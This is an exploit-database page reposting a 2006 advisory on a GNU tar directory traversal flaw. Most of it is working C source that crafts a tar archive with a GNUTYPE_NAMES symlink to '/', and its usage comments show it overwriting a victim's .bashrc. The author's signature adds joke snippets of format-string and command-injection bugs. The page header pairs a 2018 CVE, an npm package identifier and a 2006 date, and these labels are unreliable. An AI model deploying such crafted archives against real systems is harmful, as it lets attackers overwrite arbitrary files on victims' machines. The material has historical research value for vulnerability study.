Advertisement






GNU tar directory traversal

CVE Category Price Severity
CVE-2018-20482 CWE-22 $500 Critical
Author Risk Exploitation Type Date
Unknown High Remote 2006-12-01
CPE PURL
cpe:cpe:/a:gnu:tar:2.2.1 pkg:pkg:npm:[email protected]
CVSS EPSS EPSSP
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H 0.0629 0.63887

CVSS vector description

Our sensors found this exploit at: http://cxsecurity.com/ascii/WLB-2006110120

Below is a copy:

GNU tar directory traversal
----------------------------------------------------------------------------
What is it?
When i download a tar file (warez.tar.gz in this example) from the web and
run the following commands:

$ mkdir ~/warez
$ tar xzf warez.tar.gz -C ~/warez

, then i would expect that tar doesn't create or replace any files outside
the ~/warez directory. Today, i was browsing the GNU tar source code trying
to find a way to create/overwrite arbitrary files, and i found it!

Normal tar symlinks/hardlinks are handled correctly in GNU tar (i think),
but there is one tar record type, called GNUTYPE_NAMES (this is some kind
of GNU extension, i think), that allows me to create symbolic links
(inside the ~/warez directory, in this example) pointing to arbitrary
locations in the filesystem. In the exploit, i make a sybolic link called
"xyz", pointing to "/". After that record, more records would follow
that extract files to the "xyz" directory.

Version numbers:
----------------------------------------------------------------------------
I tested this on Ubuntu 6.06 LTS, GNU tar 1.16 and GNU tar 1.15.1 (this one
comes with Ubuntu)

Vulnerable code:
----------------------------------------------------------------------------
See extract_archive() in extract.c and extract_mangle() in mangle.c.

Exploit:
----------------------------------------------------------------------------

/*
 * tarxyz.c - GNU tar directory traversal exploit.
 * Written by Teemu Salmela.
 *
 * Example usage (creates a tar file that extracts /home/teemu/.bashrc):
 *   $ gcc -o tarxyz tarxyz.c
 *   $ ./tarxyz > ~/xyz.tar
 *   $ mkdir -p /tmp/xyz/home/teemu/
 *   $ cp ~/newbashrc.txt /tmp/xyz/home/teemu/.bashrc
 *   $ cd /tmp
 *   $ tar -rf ~/xyz.tar xyz/home/teemu
 */

#include <string.h>
#include <stdio.h>
#include <stdlib.h>

struct posix_header
{                               /* byte offset */
  char name[100];               /*   0 */
  char mode[8];                 /* 100 */
  char uid[8];                  /* 108 */
  char gid[8];                  /* 116 */
  char size[12];                /* 124 */
  char mtime[12];               /* 136 */
  char chksum[8];               /* 148 */
  char typeflag;                /* 156 */
  char linkname[100];           /* 157 */
  char magic[6];                /* 257 */
  char version[2];              /* 263 */
  char uname[32];               /* 265 */
  char gname[32];               /* 297 */
  char devmajor[8];             /* 329 */
  char devminor[8];             /* 337 */
  char prefix[155];             /* 345 */
                                /* 500 */
};

#define GNUTYPE_NAMES 'N'

#define BLOCKSIZE       512

union block
{
  char buffer[BLOCKSIZE];
  struct posix_header header;
};

void
data(void *p, size_t size)
{
        size_t n = 0;
        char b[BLOCKSIZE];

        while (size - n > 512) {
                fwrite(&((char *)p)[n], 1, 512, stdout);
                n += 512;
        }
        if (size - n) {
                memset(b, 0, sizeof(b));
                memcpy(b, &((char *)p)[n], size - n);
                fwrite(b, 1, sizeof(b), stdout);
        }
}

int
main(int argc, char *argv[])
{
        char *link_name = "xyz";
        union block b;
        char *d;
        int i;
        unsigned int cksum;

        if (argc > 1)
                link_name = argv[1];

        if (asprintf(&d, "Symlink / to %sn", link_name) < 0) {
                fprintf(stderr, "out of memoryn");
                exit(1);
        }
        memset(&b, 0, sizeof(b));
        strcpy(b.header.name, "xyz");
        strcpy(b.header.mode, "0000777");
        strcpy(b.header.uid, "0000000");
        strcpy(b.header.gid, "0000000");
        sprintf(b.header.size, "%011o", strlen(d));
        strcpy(b.header.mtime, "00000000000");
        strcpy(b.header.chksum, "        ");
        b.header.typeflag = GNUTYPE_NAMES;
        strcpy(b.header.magic, "ustar  ");
        strcpy(b.header.uname, "root");
        strcpy(b.header.gname, "root");
        for (cksum = 0, i = 0; i < sizeof(b); i++)
                cksum += b.buffer[i] & 0xff;
        sprintf(b.header.chksum, "%06o ", cksum);
        fwrite(&b, 1, sizeof(b), stdout);
        data(d, strlen(d));
}

-- 
fscanf(socket,"%s",buf); printf(buf);
sprintf(query, "SELECT %s FROM table", buf);
sprintf(cmd, "echo %s | sqlquery", query); system(cmd);
Teemu Salmela 








Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum